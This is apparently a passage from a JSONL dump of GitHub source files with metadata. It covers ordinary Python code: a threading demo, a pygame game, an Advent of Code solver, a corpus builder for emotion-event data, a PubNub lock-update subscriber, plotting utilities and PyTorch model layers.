expected_topic_arns\n","repo_name":"lyft/cartography","sub_path":"tests/integration/cartography/intel/aws/test_elasticache.py","file_name":"test_elasticache.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":2765,"dataset":"github-code","pt":"52"} +{"seq_id":"24613264570","text":"import time\nimport select, socket\nfrom threading import Thread\n\ndef slow_systemcall():\n # システムに0.1秒のブロッキングを要求してからプログラムに制御を戻す\n select.select([socket.socket()], [], [], 0.1)\n\n# serial \nstart = time.time()\nfor _ in range(5):\n slow_systemcall()\nend = time.time()\nprint(\"Took %.3f seconds with serial processing.\" % (end - start))\n\n# Thread \n# 処理は増えているのに、所要時間は、直列処理の1回 0.05s の処理がボトルネックに移動する\nstart = time.time()\nthreads = []\nfor _ in range(5):\n thread = Thread(target=slow_systemcall)\n thread.start()\n threads.append(thread)\n\ndef complicated_time_consuming_compute():\n time.sleep(0.05)\n\nfor i in range(5):\n complicated_time_consuming_compute()\nfor thread in threads:\n thread.join()\nend = time.time()\nprint(\"Took %.3f seconds with Thread processing.\" % (end - start))\n","repo_name":"ikasumi/EffectivePythonNotes","sub_path":"36_parallelism/37_2_serial_port_thread.py","file_name":"37_2_serial_port_thread.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17675577118","text":"\"\"\"\r\n This module is used to define a game.\r\n\"\"\"\r\nimport pygame\r\n\r\nimport constants as constants\r\n\r\n\r\nclass Game:\r\n \"\"\" A game object that represents one whole game for 'Save Me Right Meow'.\r\n\r\n Attributes:\r\n win (bool): True if the player won the game, False otherwise.\r\n time_up (bool): True if the time is up, False otherwise.\r\n cats_saved (int): the number of cats the player has saved.\r\n rounds_list (list): a list of rounds for this game.\r\n round_number (int): the current round number for this game.\r\n round (Round): the current round for this game.\r\n total_time (int): total time of this game in seconds.\r\n time_left (int): the time left remaining for this game.\r\n count (int): the count to calculate the time_left.\r\n current_minutes (int): current minutes for this game.\r\n current_seconds (int): current seconds for this game.\r\n music_on (bool): True if the music is on, False otherwise.\r\n \"\"\"\r\n\r\n win = False\r\n time_up = False\r\n cats_saved = 0\r\n\r\n def __init__(self, list_of_rounds, time):\r\n \"\"\" Initialize Game.\r\n\r\n Arguments:\r\n list_of_rounds (list): list of rounds.\r\n time (int): time in seconds.\r\n \"\"\"\r\n\r\n # round information\r\n self.rounds_list = list_of_rounds\r\n self.round_number = 0\r\n self.round = self.rounds_list[self.round_number]\r\n\r\n # time information\r\n self.total_time = time\r\n self.time_left = time\r\n self.count = 0\r\n self.current_minutes = 0\r\n self.current_seconds = 0\r\n\r\n # music information\r\n self.music_on = True\r\n self.music_state = \"ON\"\r\n\r\n # set the player this round + play the round's music\r\n self.round.player.current_round = self.round\r\n self.round.music.play(-1)\r\n\r\n def round_passed(self):\r\n \"\"\" Returns if the round has been passed.\r\n\r\n Returns:\r\n bool: True if the player has passed this round, False if not.\r\n \"\"\"\r\n satisfy_x = self.round.exit_coordinates[0] + 32 >= self.round.player.rect.x >= self.round.exit_coordinates[0]\r\n satisfy_y = self.round.exit_coordinates[1] <= self.round.player.rect.y <= self.round.exit_coordinates[1] + 12\r\n\r\n return satisfy_x and satisfy_y\r\n\r\n def go_next_round(self):\r\n \"\"\" Goes to the next round.\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n self.round.music.stop()\r\n self.round_number += 1\r\n\r\n if 1 < self.round_number <= 5:\r\n self.round.player.lives += 1\r\n self.total_time += 30\r\n\r\n self.round = self.rounds_list[self.round_number]\r\n self.round.player.current_round = self.round\r\n self.round.player.rect.x = self.round.entrance_coordinates[0]\r\n self.round.player.rect.y = self.round.entrance_coordinates[1]\r\n\r\n if not self.music_on:\r\n self.round.music.play(-1)\r\n self.round.music.set_volume(0)\r\n else:\r\n self.round.music.play(-1)\r\n\r\n\r\n\r\n def update(self):\r\n \"\"\" Update everything in the game.\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n if self.time_left <= 0:\r\n self.time_up = True\r\n self.round.player.alive = False\r\n\r\n if not self.time_up and not self.win:\r\n self.time_left = self.total_time - (self.count // constants.FPS)\r\n self.current_minutes = self.time_left // 60\r\n self.current_seconds = self.time_left % 60\r\n self.count += 1\r\n\r\n if not self.round.boss_alive and not self.win:\r\n self.win = True\r\n pygame.time.delay(3000)\r\n self.go_next_round()\r\n\r\n for c in self.round.cat_list:\r\n collide_with_food = pygame.sprite.spritecollideany(c, self.round.food_list)\r\n collide_with_food = pygame.sprite.spritecollideany(c, self.round.food_list)\r\n if collide_with_food is not None:\r\n self.cats_saved += 1\r\n\r\n if self.round_passed():\r\n self.go_next_round()\r\n\r\n self.round.update()\r\n\r\n def draw(self, screen):\r\n \"\"\" Draw everything in the game.\r\n\r\n Arguments:\r\n screen: the screen to draw onto\r\n Returns:\r\n None\r\n \"\"\"\r\n self.round.draw(screen)\r\n","repo_name":"j-cali/save-me-right-meow","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"72623109926","text":"from typing import List\n\n\ndef read_file(file_path):\n # type: (str) -> List[str]\n with open(file_path, 'r') as f:\n return f.readlines()\n\n\ndef part_one(input_file):\n # type: (List[str]) -> None\n input = []\n for line in input_file:\n line = line.replace('\\n', '')\n input.append([])\n for char in line:\n input[-1].append(int(char))\n\n visible_tree_count = 0\n\n for y in range(len(input)):\n for x in range(len(input[0])):\n if y == 0 or y == len(input) - 1 or x == 0 or x == len(input[y]) - 1:\n visible_tree_count += 1\n continue\n\n is_visible = True\n\n for y_offset in range(y - 1, -1, -1):\n if input[y][x] <= input[y_offset][x]:\n is_visible = False\n break\n\n if not is_visible:\n is_visible = True\n for y_offset in range(y + 1, len(input[y]), 1):\n if input[y][x] <= input[y_offset][x]:\n is_visible = False\n break\n\n if not is_visible:\n is_visible = True\n for x_offset in range(x - 1, -1, -1):\n if input[y][x] <= input[y][x_offset]:\n is_visible = False\n break\n\n if not is_visible:\n is_visible = True\n for x_offset in range(x + 1, len(input[x]), 1):\n if input[y][x] <= input[y][x_offset]:\n is_visible = False\n break\n\n if is_visible:\n visible_tree_count += 1\n\n print('Solution for part one:', visible_tree_count, 'visible trees')\n\n\ndef part_two(input_file):\n input = []\n for line in input_file:\n line = line.replace('\\n', '')\n input.append([])\n for char in line:\n input[-1].append(int(char))\n\n highest_scenic_score = 0\n\n for y in range(len(input)):\n for x in range(len(input[0])):\n north = east = south = west = 0\n\n if y == 0 or x == 0 or y == len(input) - 1 or x == len(input[y]) - 1:\n continue\n\n for y_offset in range(y - 1, -1, -1):\n north += 1\n if input[y][x] <= input[y_offset][x]:\n break\n\n for y_offset in range(y + 1, len(input[y]), 1):\n south += 1\n if input[y][x] <= input[y_offset][x]:\n break\n\n for x_offset in range(x - 1, -1, -1):\n east += 1\n if input[y][x] <= input[y][x_offset]:\n break\n\n for x_offset in range(x + 1, len(input[x]), 1):\n west += 1\n if input[y][x] <= input[y][x_offset]:\n break\n\n score = north * east * south * west\n\n if score > highest_scenic_score:\n highest_scenic_score = score\n\n print('Solution for part two:', highest_scenic_score)\n pass\n\n\ndef main():\n example_file = read_file('example.txt') # type: List[str]\n input_file = read_file('input.txt') # type: List[str]\n\n part_one(example_file)\n part_two(example_file)\n print()\n\n part_one(input_file)\n part_two(input_file)\n print()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"LewdOMin/AdventOfCode","sub_path":"2022/Day_08/Python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29014301029","text":"# Correct duplicates in the wrong place.\nimport argparse, os, json\n\nargParser = argparse.ArgumentParser()\nargParser.add_argument('--hubsroot', type=str, help=\"Root directory of the hubs files\", default=\"hubs\")\n\ndef isTooFar(warpA, warpB):\n return abs(warpA[\"x\"] - warpB[\"x\"]) > 1 or abs(warpA[\"y\"] - warpB[\"y\"]) > 1\n\ndef isGoodSolution(currentW, proposedW):\n for w in [currentW] + currentW[\"duplicates\"]:\n if isTooFar(w, proposedW):\n return False\n return True\n\n# Returns true if we need to write the new json.\ndef handleJfile(jfile, fileName):\n clean = True\n for i, hub in enumerate(jfile[\"hubs\"]):\n for j, w in enumerate(hub[\"warps\"]):\n if len(w[\"duplicates\"]) > 1:\n if not isGoodSolution(w, w):\n for d in w[\"duplicates\"]:\n if isGoodSolution(w, d):\n print(fileName + \"/\" + str(i), \"has a suspicious hub. Fixing.\")\n clean = False\n w[\"duplicates\"].remove(d)\n d[\"duplicates\"] = w[\"duplicates\"]\n d[\"duplicates\"].append(w)\n w[\"duplicates\"] = []\n hub[\"warps\"][j] = d\n break\n return not clean\n\n\ndef main():\n args = argParser.parse_args()\n print(\"Loading hub json files...\")\n for game in os.listdir(args.hubsroot):\n for fileName in os.listdir(os.path.join(args.hubsroot, game)):\n jfile = json.load(open(os.path.join(args.hubsroot, game, fileName)))\n if handleJfile(jfile, fileName):\n json.dump(jfile, open(os.path.join(args.hubsroot, game, fileName), \"w\"), indent=2)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Bratmon/FREComboRandomizer","sub_path":"Python/duplicate_fixer.py","file_name":"duplicate_fixer.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"13189590375","text":"import sys\nimport os\nimport re\n\nimport spacy\nimport pandas as pd\nfrom predpatt.util.ud import dep_v2\nfrom tqdm import tqdm\n\nfrom Dataset.Utils.DataCleaner import DataCleaner\nfrom Eventify.Predpatt_Eventify import Eventify\n\n\"\"\"\nAuxiliary initial step. Extracts the situations, speaker utterances and emotions from the original dataset (ED)\n\"\"\"\ndef extract_episodes_emotion_tags(ed_path, save_path):\n spacy.prefer_gpu()\n nlp = spacy.load(\"en_core_web_lg\")\n\n # Extract Situations, Speaker Utterances and Emotion labels\n emotional_episodes, emotions = read_dataset(ed_path)\n\n # Filter Speaker Utterances containing \"?\" or without verbs in the past tense\n emotional_episodes, emotions = filter_sentences(emotional_episodes, emotions, nlp)\n\n # Mild cleaning\n # Sentences are not lowercased because SRL model were trained com cased data\n # We also solve coreference in this step to help in the event extracting process\n emotional_episodes, emotions, coref_emotional_episodes = clean_sentences(emotional_episodes, emotions, nlp)\n\n # Save dataframe\n df = pd.DataFrame(list(zip(emotional_episodes, emotions, coref_emotional_episodes)),\n columns=[\"Sentences\", \"Emotion\", \"CorefSentences\"])\n\n df.to_csv(save_path)\n return df\n\n\"\"\"\nUses PredPatt to extract events\n\"\"\"\ndef extract_events(emo_sentences_corpus, save_to_path, resolve_relcl, resolve_appos, resolve_amod, resolve_conj,\n resolve_poss, simple, cut, big_args, strip, ud, mode):\n eventifier = Eventify(resolve_relcl=resolve_relcl, resolve_appos=resolve_appos, resolve_amod=resolve_amod, resolve_conj=resolve_conj,\n resolve_poss=resolve_poss, simple=simple, cut=cut, big_args=big_args, strip=strip, ud=ud, mode=mode)\n df_final = pd.DataFrame(columns=[\"Sentences\", \"Emotion\", \"Events\"])\n\n sentences = emo_sentences_corpus['Sentences'].to_list()\n emotions = emo_sentences_corpus['Emotion'].to_list()\n coref_sentences = emo_sentences_corpus['CorefSentences'].to_list()\n\n for i, sentence in tqdm(enumerate(sentences)):\n events = eventifier.eventify(coref_sentences[i])\n\n if events:\n lst = [[sentences[i], emotions[i], events]]\n df = pd.DataFrame(lst, columns=[\"Sentences\", \"Emotion\", \"Events\"])\n df_final = df_final.append(df, ignore_index=True)\n\n if i % 10 == 0:\n df_final.to_pickle(save_to_path)\n\n df_final.to_pickle(save_to_path)\n return df_final\n\n\"\"\" \nReader for the Empathetid Dialogues Dataset \nReads Situations, Speaker Utterances and Emotion labels\n\"\"\"\ndef read_dataset(path):\n sentences_set = set()\n sentences = []\n emotions = []\n index = -1\n splitnames = ['train', 'valid', 'test']\n for split in tqdm(splitnames):\n df = open(os.path.join(path, f\"{split}.csv\"), encoding=\"utf8\").readlines()\n lines = df[1:]\n last_seen = None\n\n for line in lines:\n items = line.split(\",\")\n items[3] = re.sub(\"_comma_\", \",\", items[3])\n items[5] = re.sub(\"_comma_\", \",\", items[5])\n\n if last_seen is None or last_seen != items[3]:\n last_seen = items[3]\n index = 0\n\n else:\n index += 1\n\n # Speaker sentences are pair\n if index % 2 == 0:\n uts = [items[3], items[5]]\n else:\n continue\n\n emo = items[2].lower()\n for sentence in uts:\n if sentence in sentences_set:\n continue\n emotions.append(emo)\n sentences.append(sentence)\n sentences_set.add(sentence)\n\n return sentences, emotions\n\n\"\"\" \nFilters non-wanted utterances and converts the emotions to the Ekman model \n\"\"\"\ndef filter_sentences(sentences, emotions, nlp):\n filtered_sentences = []\n ekman_emotions = []\n for i, sentence in tqdm(enumerate(sentences)):\n doc = nlp(sentence)\n past_tense_present = False\n for token in doc:\n if token.text == '?':\n past_tense_present = False\n break\n if token.tag_ in ['VBD', 'VBN']:\n past_tense_present = True\n\n if past_tense_present:\n\n if emotions[i] == \"surprised\":\n ekman_emotions.append(\"surprise\")\n\n if emotions[i] in [\"joyful\", \"excited\", \"proud\", \"grateful\", \"impressed\", \"hopeful\", \"confident\",\n \"anticipating\", \"nostalgic\", \"prepared\", \"content\", \"trusting\"]:\n ekman_emotions.append(\"happiness\")\n\n elif emotions[i] in [\"afraid\", \"terrified\", \"anxious\", \"apprehensive\"]:\n ekman_emotions.append(\"fear\")\n\n elif emotions[i] == \"angry\" or emotions[i] == \"furious\":\n ekman_emotions.append(\"anger\")\n\n elif emotions[i] in [\"sad\", \"devastated\", \"annoyed\", \"lonely\", \"guilty\", \"disappointed\", \"jealous\",\n \"embarrassed\", \"ashamed\"]:\n ekman_emotions.append(\"sadness\")\n\n elif emotions[i] == \"disgusted\":\n ekman_emotions.append(\"disgust\")\n\n else:\n continue\n\n filtered_sentences.append(sentence)\n\n return filtered_sentences, ekman_emotions\n\n\"\"\" \nMild cleaning\n\"\"\"\ndef clean_sentences(sentences, emotions, nlp):\n clean_sentences = []\n clean_sentences_emotions = []\n coref_sentences = []\n dc = DataCleaner()\n\n for i, sent in tqdm(enumerate(sentences)):\n s = sent\n s = dc.removeTextBetweenBrackets(s)\n s = dc.removeNonAscii(s)\n s = dc.removeExtraSpaces(s)\n s = dc.replaceParentheses(s)\n s = dc.expandContractions(s)\n\n if s == '':\n continue\n\n coref_s = dc.solveCoRef(s, nlp)\n clean_sentences.append(s)\n coref_sentences.append(coref_s)\n clean_sentences_emotions.append(emotions[i])\n\n return clean_sentences, clean_sentences_emotions, coref_sentences,\n\n\"\"\"\nFunctions to present Dataset statistic information (number of events, number of elements in the dataset, etc.)\n\"\"\"\ndef get_corpus_stats(df):\n labels_list = df['Emotion'].unique().tolist() # all csv files were created using the isear labels\n n_labels = len(labels_list)\n n_rows = df.shape[0]\n\n print(\"Corpus Stats:\")\n print(\"Number of rows:\", n_rows)\n print(\"Number of emotion labels:\", n_labels)\n print(\"Emotion labels:\", labels_list)\n\n n_sentences = 0\n for label in labels_list:\n label_sent = df[df.Emotion == label]\n n_sentences += label_sent.shape[0]\n print(\"Sentences with emo\", label, \":\", n_sentences)\n\n total_events = 0\n total_ne_targets = 0\n total_ne_subs = 0\n\n if 'Events' in df:\n events = df[\"Events\"].tolist()\n for sentence_events in events:\n n_events, n_non_empty_targets, n_non_empty_subs = count_events(sentence_events)\n\n total_events += n_events\n total_ne_targets += n_non_empty_targets\n total_ne_subs += n_non_empty_subs\n\n if total_events > 0:\n print('Total events:', total_events)\n print('Events per Sentence on average:', total_events / n_rows)\n print(\"Non empty targets: \", total_ne_targets)\n print(\"Non empty agents: \", total_ne_subs)\n print(\"######### END #########\\n\")\n\ndef count_events(events):\n n_events = 0\n n_ne_targets = 0\n n_ne_subs = 0\n\n for event in events:\n t_events, t_targets, t_subs = count_event(event)\n n_events += t_events\n n_ne_targets += t_targets\n n_ne_subs += t_subs\n\n return n_events, n_ne_targets, n_ne_subs\n\ndef count_event(event):\n n_events = 1\n n_ne_targets = 0\n n_ne_subjs = 0\n\n subj = event[0]\n if '<|EMPTY|>' in subj:\n return n_events, n_ne_targets, n_ne_subjs\n\n else:\n n_ne_subjs += 1\n\n elem = event[2]\n if isinstance(elem, str):\n if '<|EMPTY|>' in elem:\n return n_events, n_ne_targets, n_ne_subjs\n\n n_ne_targets += 1\n\n elif isinstance(elem, tuple):\n n_e, n_t, n_s = count_event(elem)\n n_events += n_e\n n_ne_targets += n_t\n n_ne_subjs += n_s\n\n return n_events, n_ne_targets, n_ne_subjs\n\ndef main():\n ed_path = \"Dataset/ED_dataset\"\n empdial_info_save_path = \"Dataset/SSE_dataset/EmoSentences/empdial_emo_senteces.csv\"\n corpus_save_path = \"Dataset/SSE_dataset/EmoSentencesEvents/empdial_emo_senteces_events.p\"\n empdial_info_df = extract_episodes_emotion_tags(ed_path, empdial_info_save_path)\n\n \"\"\" The last arguments are PredPatt Options. These are the values used in our work. \"\"\"\n corpus_df = extract_events(empdial_info_df, corpus_save_path, resolve_relcl=False, resolve_appos=False, resolve_amod=False, resolve_conj=True,\n resolve_poss=False, simple=True, cut=True, big_args=False, strip=True, ud=dep_v2.VERSION, mode=\"token\")\n\n get_corpus_stats(corpus_df)\n\nif __name__ == '__main__':\n main()","repo_name":"ana3A/EEG_Model","sub_path":"create_corpus.py","file_name":"create_corpus.py","file_ext":"py","file_size_in_byte":9031,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"35777232716","text":"import heapq\r\nimport math\r\n\r\nn, m, x, y = map(int, input().split())\r\nx, y = x-1, y-1\r\n\r\npath = [[] for _ in range(n)]\r\n\r\nfor i in range(m):\r\n a, b, t, k = map(int, input().split())\r\n a, b = a-1, b-1\r\n path[a].append((b, t, k))\r\n path[b].append((a, t, k))\r\n\r\nmin_time = [float(\"inf\") for _ in range(n)]\r\n\r\nheap = [(0, x)]\r\n\r\n\r\nwhile len(heap):\r\n # print(heap)\r\n time, town = heapq.heappop(heap)\r\n # print(\"town:\", town, time)\r\n if min_time[y] < time:\r\n break\r\n for next, t, k in path[town]:\r\n next_time = ((time - 1) // k + 1) * k + t\r\n if min_time[next] > next_time:\r\n # print(\"add\", next, next_time)\r\n min_time[next] = next_time\r\n heapq.heappush(heap, (next_time, next))\r\n\r\nif math.isinf(min_time[y]):\r\n print(-1)\r\nelse:\r\n print(min_time[y])\r\n","repo_name":"Segu-g/Segu-g-AtCoder-Repository","sub_path":"abc/abc192/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24165764328","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nimport io\nimport base64\n\n\ndef extract_x_label(array):\n if array[0]:\n return \"Pixels\"\n elif array[1]:\n return \"Microns\"\n elif array[2]:\n return \"Germline cell diameters (gcd)\"\n else:\n return \"Relative length (%)\"\n\ndef extract_y_label(array):\n if array[0]:\n return \"Relative intensity (%)\"\n elif array[1]:\n return \"Increase compared to \" + array[2][0] + \"-\" + array[2][1] + \"%\"\n else:\n return \"Absolute intensity (0-255)\"\n\nstandard_colors = [[0, 0.4470, 0.7410],[0.8500, 0.3250, 0.0980],[0.4660, 0.6740, 0.1880],[0.6350, 0.0780, 0.1840],[0.4940, 0.1840, 0.5560],[0.3010, 0.7450, 0.9330],[0.9290, 0.6940, 0.1250]]\n\ndef plotGermline(df, title=\"\", strain_name_list=[\"NO TITLE\"],file_namelist_list=[\"None\"], mitotic_mode = False, strains_mitotic_percentage=[\"32\",\"25\"], strains_error=[\"5\",\"3\"],\n dpi=200, average_length=100, absolute_cut=None, conversion=None, x_label=[True, False, False],\n y_label=[False, False]):\n\n #place plot point in the midle of interval (for ex. for 10 intervals, first point will be at 5%)\n v = 100 / len(df[0].average)\n transformer = lambda x: (x+(v/2))\n a = np.array([transformer(xi) for xi in df[0].index * v])\n\n if conversion:\n if absolute_cut:\n super_average = absolute_cut\n else:\n #super_average calculates average length of all strains\n super_average = round(sum([a[1] for a in average_length])/len(average_length),1)\n\n super_average_converted = super_average * conversion\n #b is x axis values converted to new units\n b = np.array([round(e*super_average_converted/100,1) for e in a])\n a = b\n\n if mitotic_mode and not absolute_cut:\n fig, axis = plt.subplots(2, constrained_layout=True,\n gridspec_kw={'height_ratios': [len(strain_name_list), 20]}, dpi=dpi)\n # axis[1].set_title(f'{title}')\n for i, df in enumerate(df):\n axis[1].errorbar(a, df.average, df.stddev,\n label=f'{strain_name_list[i]} n={len(file_namelist_list[i])}', linestyle=':', marker='^',\n capsize=3,\n elinewidth=0.7)\n axis[1].set_xlim(0, a[-1]+1)\n axis[1].legend(prop={'size': 13, 'style': 'italic'})\n axis[1].set_xlabel(extract_x_label(x_label), fontsize=13)\n axis[1].set_ylabel(extract_y_label(y_label), fontsize=13)\n strains = strain_name_list\n mean_mitotic_percentage = [float(p) for p in strains_mitotic_percentage]\n subplot_2_error = [float(p) for p in strains_error]\n axis[0].barh(strains, mean_mitotic_percentage, xerr=subplot_2_error,\n color=standard_colors[0:len(mean_mitotic_percentage)])\n axis[0].set_title(title)\n axis[0].invert_yaxis()\n axis[0].set_xlim(0, 100)\n axis[0].xaxis.set_visible(False)\n\n else:\n fig, axis = plt.subplots(1, constrained_layout=True, dpi=dpi)\n for i, df in enumerate(df):\n axis.errorbar(a, df.average, df.stddev,\n label=f'{strain_name_list[i]} n={len(file_namelist_list[i])}', linestyle=':', marker='^',\n capsize=3,\n elinewidth=0.7)\n axis.set_xlim(0, a[-1]+1)\n axis.set_xlabel(extract_x_label(x_label), fontsize=13)\n axis.set_ylabel(extract_y_label(y_label), fontsize=13)\n axis.legend(prop={'size': 13, 'style': 'italic'})\n\n return fig\n\ndef convert_plot_to_png(fig):\n pngImage = io.BytesIO()\n FigureCanvas(fig).print_png(pngImage)\n return pngImage\n\ndef encode_png_to_base64(png):\n pngImageB64String = \"data:image/png;base64,\"\n pngImageB64String += base64.b64encode(png.getvalue()).decode('utf8')\n return pngImageB64String\n\n","repo_name":"dpuertamartos/Germline-Analyzer","sub_path":"grapher.py","file_name":"grapher.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9700899871","text":"# coding: utf-8\r\nimport socket\r\n\r\ns = socket.socket()\r\n\r\ns.connect(('127.0.0.1', 5000))\r\n\r\nwhile 1:\r\n cmd = input(\"input cmd: \")\r\n if cmd == 'quit': # 不要再client里处理退出,在server中处理\r\n break \r\n elif cmd == '':\r\n continue\r\n s.sendall(cmd.encode())\r\n data = s.recv(1024).decode()\r\n print(data)\r\n\r\ns.close()\r\n","repo_name":"houxiao/socket-python-demo","sub_path":"tcp_client.py","file_name":"tcp_client.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69995096164","text":"\"\"\"Connect to pubnub.\"\"\"\n\nimport datetime\nimport logging\nfrom typing import Any, Callable\n\nfrom pubnub.callbacks import SubscribeCallback\nfrom pubnub.enums import PNReconnectionPolicy, PNStatusCategory\nfrom pubnub.models.consumer.common import PNStatus\nfrom pubnub.models.consumer.pubsub import PNMessageResult\nfrom pubnub.pnconfiguration import PNConfiguration\nfrom pubnub.pubnub_asyncio import AsyncioSubscriptionManager, PubNubAsyncio\n\nfrom .const import PUBNUB_TOKENS, Brand\nfrom .device import DeviceDetail\n\n_LOGGER = logging.getLogger(__name__)\n\nUpdateCallbackType = Callable[[str, datetime.datetime, dict[str, Any]], None]\n\n\nclass AugustPubNub(SubscribeCallback):\n def __init__(self, *args: Any, **kwargs: Any) -> None:\n \"\"\"Initialize the AugustPubNub.\"\"\"\n super().__init__(*args, **kwargs)\n self.connected = False\n self._device_channels = {}\n self._subscriptions = []\n\n def presence(self, pubnub: AsyncioSubscriptionManager, presence):\n _LOGGER.debug(\"Received new presence: %s\", presence)\n\n def status(self, pubnub: AsyncioSubscriptionManager, status: PNStatus) -> None:\n if not pubnub:\n self.connected = False\n return\n\n _LOGGER.debug(\n \"Received new status: category=%s error_data=%s error=%s status_code=%s operation=%s\",\n status.category,\n status.error_data,\n status.error,\n status.status_code,\n status.operation,\n )\n\n if status.category in (\n PNStatusCategory.PNUnknownCategory,\n PNStatusCategory.PNUnexpectedDisconnectCategory,\n PNStatusCategory.PNNetworkIssuesCategory,\n PNStatusCategory.PNTimeoutCategory,\n ):\n self.connected = False\n pubnub.reconnect()\n\n elif status.category == PNStatusCategory.PNReconnectedCategory:\n self.connected = True\n now = datetime.datetime.utcnow()\n # Callback with an empty message to force a refresh\n for callback in self._subscriptions:\n for device_id in self._device_channels.values():\n callback(device_id, now, {})\n\n elif status.category == PNStatusCategory.PNConnectedCategory:\n self.connected = True\n\n def message(\n self, pubnub: AsyncioSubscriptionManager, message: PNMessageResult\n ) -> None:\n # Handle new messages\n device_id = self._device_channels[message.channel]\n _LOGGER.debug(\n \"Received new messages on channel %s for device_id: %s with timetoken: %s: %s\",\n message.channel,\n device_id,\n message.timetoken,\n message.message,\n )\n for callback in self._subscriptions:\n callback(\n device_id,\n datetime.datetime.fromtimestamp(\n int(message.timetoken) / 10000000, tz=datetime.timezone.utc\n ),\n message.message,\n )\n\n def subscribe(self, update_callback: UpdateCallbackType) -> Callable[[], None]:\n \"\"\"Add an callback subscriber.\n\n Returns a callable that can be used to unsubscribe.\n \"\"\"\n self._subscriptions.append(update_callback)\n\n def _unsubscribe():\n self._subscriptions.remove(update_callback)\n\n return _unsubscribe\n\n def register_device(self, device_detail: DeviceDetail) -> None:\n \"\"\"Register a device to get updates.\"\"\"\n if device_detail.pubsub_channel is None:\n return\n self._device_channels[device_detail.pubsub_channel] = device_detail.device_id\n\n @property\n def channels(self):\n \"\"\"Return a list of registered channels.\"\"\"\n return self._device_channels.keys()\n\n\ndef async_create_pubnub(\n user_uuid: str, subscriptions: AugustPubNub, brand: Brand = Brand.AUGUST\n) -> Callable[[], None]:\n \"\"\"Create a pubnub subscription.\"\"\"\n tokens = PUBNUB_TOKENS[brand]\n pnconfig = PNConfiguration()\n pnconfig.subscribe_key = tokens[\"subscribe\"]\n pnconfig.publish_key = tokens[\"publish\"]\n pnconfig.uuid = f\"pn-{str(user_uuid).upper()}\"\n pnconfig.reconnect_policy = PNReconnectionPolicy.EXPONENTIAL\n pubnub = PubNubAsyncio(pnconfig)\n pubnub.add_listener(subscriptions)\n pubnub.subscribe().channels(subscriptions.channels).execute()\n\n def _unsub():\n pubnub.unsubscribe().channels(subscriptions.channels).execute()\n\n return _unsub\n","repo_name":"bdraco/yalexs","sub_path":"yalexs/pubnub_async.py","file_name":"pubnub_async.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"52"} +{"seq_id":"3080099705","text":"from ipa.models.layers import DDPMResnetBlock, GaussianFourierProjection, SelfAttentionBlock, Conv2dSame\nfrom ipa.models.layers.resnet_block_biggan import ResnetBlockBigGANpp, upsample_2d, Conv2d, downsample_2d\nfrom ipa.models.utils import get_activation\nfrom ipa.definitions import default_init\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport functools\nimport torch\nimport numpy as np\n\n\ndef conv1x1(in_planes, out_planes, stride=1, bias=True, init_scale=1.):\n \"\"\"1x1 convolution with DDPM initialization.\"\"\"\n conv = Conv2dSame(in_planes, out_planes, kernel_size=1, stride=stride, bias=bias)\n with torch.no_grad():\n conv.conv.weight.data = default_init(init_scale)(conv.conv.weight.data.shape)\n nn.init.zeros_(conv.conv.bias)\n return conv\n\n\ndef conv3x3(in_planes, out_planes, stride=1, bias=True, dilation=1, init_scale=1.):\n \"\"\"3x3 convolution with DDPM initialization.\"\"\"\n conv = Conv2dSame(in_planes, out_planes, kernel_size=3, stride=stride, dilation=dilation, bias=bias)\n with torch.no_grad():\n conv.conv.weight.data = default_init(init_scale)(conv.conv.weight.data.shape)\n nn.init.zeros_(conv.conv.bias)\n return conv\n\n\nclass DownsampleLayer(nn.Module):\n def __init__(self, in_ch=None, out_ch=None, with_conv=False, fir=False,\n fir_kernel=(1, 3, 3, 1)):\n super().__init__()\n out_ch = out_ch if out_ch else in_ch\n if not fir:\n if with_conv:\n self.Conv_0 = conv3x3(in_ch, out_ch, stride=2)\n else:\n if with_conv:\n self.Conv2d_0 = Conv2d(in_ch, out_ch,\n kernel=3, down=True,\n resample_kernel=fir_kernel,\n use_bias=True,\n kernel_init=default_init())\n self.fir = fir\n self.fir_kernel = fir_kernel\n self.with_conv = with_conv\n self.out_ch = out_ch\n\n def forward(self, x):\n B, C, H, W = x.shape\n if not self.fir:\n if self.with_conv:\n x = F.pad(x, (0, 1, 0, 1))\n x = self.Conv_0(x)\n else:\n x = F.avg_pool2d(x, 2, stride=2)\n else:\n if not self.with_conv:\n x = downsample_2d(x, self.fir_kernel, factor=2)\n else:\n x = self.Conv2d_0(x)\n\n return x\n\n\nclass UpsampleLayer(nn.Module):\n def __init__(self, in_ch=None, out_ch=None, with_conv=False, fir=False,\n fir_kernel=(1, 3, 3, 1)):\n super().__init__()\n out_ch = out_ch if out_ch else in_ch\n if not fir:\n if with_conv:\n self.Conv_0 = conv3x3(in_ch, out_ch)\n else:\n if with_conv:\n self.Conv2d_0 = Conv2d(in_ch, out_ch,\n kernel=3, up=True,\n resample_kernel=fir_kernel,\n 